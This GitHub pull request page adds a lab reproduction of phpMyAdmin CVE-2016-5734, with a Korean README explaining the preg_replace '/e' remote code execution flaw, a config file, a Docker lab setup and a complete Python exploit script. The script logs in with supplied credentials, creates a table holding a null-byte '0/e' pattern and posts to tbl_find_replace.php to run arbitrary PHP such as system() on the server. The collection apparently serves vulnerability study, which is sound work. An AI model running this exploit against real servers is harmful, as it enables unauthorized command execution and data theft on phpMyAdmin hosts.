Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[김민찬/minchan02]: phpmyadmin CVE-2016-5734 분석 및 결과 #167

Open
wants to merge 7 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 32 additions & 0 deletions phpmyadmin/CVE-2016-5734/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
# CVE-2016-5734

> [김민찬 (@minchan02)](https://github.com/minchan02)

<br />

### 요약
- PhpMyAdmin은 웹을 통한 MySQL관리를 처리하기 위해 php로 작성된 무료 소프트웨어 도구이다.
- 사용자가 제출한 정보가 첫번째 매개변수에 결합될 수 있기 때문에 preg_replace함수에서 취약점이 발생한다.
- PHP 5.4.7버전 이전에는 preg_replace 함수의 첫 번째 매개변수가 \0으로 잘리고 변경 검색 패턴이 \e로 잘릴 수 있었다. 따라서, 원격 코드 실행 취약점이 발생할 수 있다.

- 영향을 받는 버전
1. 4.0.10.16 이전의 4.0.x 버전
2. 4.6.3 이전 버전 4.6.x (이 버전을 재현하기 위해선 php5.5+가 필요하기 때문에 실제로 취약점을 재현할 수 없다)

<br/>

### 환경 구성 및 실행
- `docker compose up -d`를 실행하여 테스트 환경을 실행
- `http://your-ip:8080/`에 접속하여 phpmyadmin 기본 페이지를 확인
- `python3 cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://localhost:8080/`를 호출하여 반환 결과를 읽는다.

<br/>

### 결과

![](result.png)

<br/>

### 정리
이 취약점은 php 4.3.0 -5.4.6 버전에서 preg_replace함수의 취약한 작동을 이용한 것으로, system의 쉘 코드를 탈취당할 위험이 있다. 안전한 웹 서비스를 위해서 php버전을 최신 버전으로 업데이트 하는것이 중요하다.
29 changes: 29 additions & 0 deletions phpmyadmin/CVE-2016-5734/config.inc.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 4.6.2 setup script
* Date: Mon, 07 May 2018 10:48:03 +0000
*/

/* Servers configuration */
$i = 0;

/* Server: mysql [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'mysql';
$cfg['Servers'][$i]['host'] = 'mysql';
$cfg['Servers'][$i]['port'] = 3306;
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = '';

/* End of servers configuration */

$cfg['blowfish_secret'] = '5af02eda401ae8.69737537';
$cfg['DefaultLang'] = 'en';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
?>
103 changes: 103 additions & 0 deletions phpmyadmin/CVE-2016-5734/cve-2016-5734.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
import requests
import argparse
import sys

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str) # PMA 경로가 포함된 URL
parser.add_argument("-c", "--cmd", type=str) # eval()에 대한 php 명령어
parser.add_argument("-u", "--user", required=True, type=str) # 유효한 PMA 사용자
parser.add_argument("-p", "--pwd", required=True, type=str) # 유효한 PMA 사용자의 password
parser.add_argument("-d", "--dbs", type=str) # 존재하는 database server
parser.add_argument("-T", "--table", type=str) # exploit을 위한 custom table 이름
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"

size = 32
s = requests.Session()
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)

# token 가져오기
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("유효한 토큰을 찾지 못함")
sys.exit(1)

if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# exploit 코드
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post( #exploit 코드를 post로 보냄
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:] # </a>를 기준으로 찾음
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit 실패!\n"
)
sys.exit(1)
15 changes: 15 additions & 0 deletions phpmyadmin/CVE-2016-5734/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
version: '2'
services:
web:
image: vulhub/phpmyadmin:4.4.15.6
volumes:
- ./config.inc.php:/var/www/html/config.inc.php
ports:
- "8080:80"
depends_on:
- mysql
mysql:
image: mysql:5.5
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=test
Binary file added phpmyadmin/CVE-2016-5734/result.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.